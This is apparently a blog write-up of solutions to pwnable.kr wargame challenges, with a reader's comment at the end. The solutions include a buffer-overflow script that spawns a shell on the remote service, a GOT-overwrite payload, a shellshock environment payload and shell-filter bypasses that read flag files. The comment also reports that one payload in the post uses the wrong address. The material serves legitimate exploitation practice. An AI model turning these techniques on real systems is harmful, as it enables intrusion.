It has been a long time since I finish(nearly) these problems...
In linux, 0
is std_input, 1
is std_output, 2
is std_error_output.
We just need to send LETMEWIN
to std_input and set fd to 0
which means (our input - 0x1234) == 0.
So, echo "LETMEWIN" | ./fd 4660
will solve the problem.
In this problem we have to enter 5 numbers whose sum is 0x21DD09EC
. Since the use of strlen
, we should not enter \x00
hex(0x21dd09ec-0x01010101*4)
equals 0x1dd905e8
, which does not contain \x00
./col `python -c 'print "\xe8\x05\xd9\x1d"+"\x01"*16')`
int __cdecl func(int a1)
{
char s; // [sp+1Ch] [bp-2Ch]@1
int v3; // [sp+3Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
puts("overflow me : ");
gets(&s);
if ( a1 == 0xCAFEBABE )
system("/bin/sh");
else
puts("Nah..");
return *MK_FP(__GS__, 20) ^ v3;
}
The stack:
s:`ebp-2c`
v3:`ebp-c`
`old ebp`
`ret_addr`
`a1`
So we need to overwrite 0x2c + 4*2
trash and the value of a1
.
from pwn import *
sh=remote('pwnable.kr',9000)
sh.sendline("A"*52+"\xbe\xba\xfe\xca")
sh.interactive()
Seems that the file has been packed with upx
upx -d flag -o a.out
and load a.out
with IDA, open string window, then it should has found the flag:
.rodata:0000000000496628 0000002A C UPX...? sounds like a delivery service :)
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Toddler's Secure Login System 1.0 beta.");
welcome();
login();
puts("Now I can safely trust you that you have credential :)");
return 0;
}
welcome:
int welcome()
{
char v1; // [sp+18h] [bp-70h]@1
int v2; // [sp+7Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
printf("enter you name : ");
__isoc99_scanf("%100s", &v1);
printf("Welcome %s!\n", &v1);
return *MK_FP(__GS__, 20) ^ v2;
}
login:
int login()
{
int v1; // [sp+18h] [bp-10h]@0
int v2; // [sp+1Ch] [bp-Ch]@0
printf("enter passcode1 : ");
__isoc99_scanf("%d");
fflush(stdin);
printf("enter passcode2 : ");
__isoc99_scanf("%d");
puts("checking...");
if ( v1 != 338150 || v2 != 13371337 )
{
puts("Login Failed!");
exit(0);
}
puts("Login OK!");
return system("/bin/cat flag");
}
In welcome
, v1
is at bp-70h
, we can control 100 chars. In login
, v1
is at bp-10h
. Although these two v1
is not the same, there's no push or pop between welcome
and login
. 0x70-0x10=96
, which means we can control 4 chars, that is to say, we can control the initial value of passcode1(name in source code)
.
In login
, it does scanf("%d", passcode1);
, so we can write 4 bytes at any place we want.
We can overwrite fflush
's GOT
and let it jump to system("/bin/cat flag")
python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode
This code does not use unpredictable seed to generate random number, so the numbers it generated are always the same.
The first value is 1804289383
, after xor with 0xdeadbeef
we can get the answer: 3039230856
.
Too lazy to write this solution...
In key1
, mov r3, pc; mov r0, r3;
will set r0
to 0x00008cdc + 8
(In arm mode pc will save current place + 8)
In key2
, add r6, pc, #1; bx r6;
will switch to thumb mode. mov r3, pc; adds r3, #4; mov r0, r3;
will set r0
to 0x00008d04 + 4 + 4
(In thumb mode pc will save the current place + 4)
In key3
it will return lr
, which is the return address.
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
So the key3
is 0x00008d80
.
key1 + key2 + key3
equals 108400
fd = open("/tmp/xx.txt",O_RDONLY,0400) < 0
is equivalent to fd = (open("/tmp/xx.txt",O_RDONLY,0400) < 0)
.
open("/tmp/xx.txt",O_RDONLY,0400)
will be 0
, so fd
will be 0 < 0
which is 0
.
So just input two input one of which is xor of the other input.
It's shellshock bug.
Pass x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' as an environment variable and execve shellshock will get flag.
Too lazy to write this solution...
It a integer overflow. If you enter 1000
at first, you will be told You cannot bet more money than you have.
But if you enter 10000000000
then you can continue.
Try to win once and you become millionaire.
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
This code means if what you entered is in lotto, for example lotto is !"#$%&, and you enter ######, it's ok.
So just try ###### until you get flag.
Your trying time will follow G(1-(1-6/45)^6) that is G(0.576). (bigger than predicting a coin :)
What you enter should not include flag
, sh
, tmp
, and the PATH
is of no use.
And if you pass the validate, what you entered will be executed.
It's simple to bypass the validate and print the flag: the word can be joined or use *
, and we can use full path which means there's no need to use PATH
in environment variable.
For example, ./cmd1 "/bin/cat fl*"
will print the flag.
mommy now I get what PATH environment is for :)
This flag will be the key of cmd2
This problem has more word forbidden. We should not use PATH
, export
, `
, flag
, =
, /
. Also, it clear all environment variables.
It seems a little bit difficult...But since we can use some function in shell, can we construct the forbidden characters ? We know that if we have /
, thing will be as easy as echo1
, so let's construct /
.
We can use pwd
to print where are we, this string contains /
, in shell we can cut string.
This is the answer when I solved this problem, it seems that the problem has been modified after that time...
./cmd2 'A=$(pwd);B=${A%home*};C=$B"bin"$B"cat "$B"home"$B"cmd2"$B"fl""ag";$C'
You have to try not to use =
is you want to use this method.
Hey @aencode and @William93 I'll try to answer to both your questions:
First of all
EIP
is a register, so it doesn't have an address at all.The only way to access it, is via it's name.
Now, as @ihciah said, in the passcode challenge we can write 4 bytes at any place we want.
The goal here is to jump where it is placed the system call to
cat
in our binary. (0x80485E3 which in decimal is 134514147).To do so, we override the
GOT
offflush
with our address.readelf -r passcode | grep fflush
gives to us:0x0804a004
00000207 R_386_JUMP_SLOT 00000000
fflush@GLIBC_2.0
PS: @ihciah if you want to exploit it with fflush
'\x00\xa0\x04\x08'
is wrong, the correct one is'\x04\xa0\x04\x08'
Let me know if there is something that still not clear to you.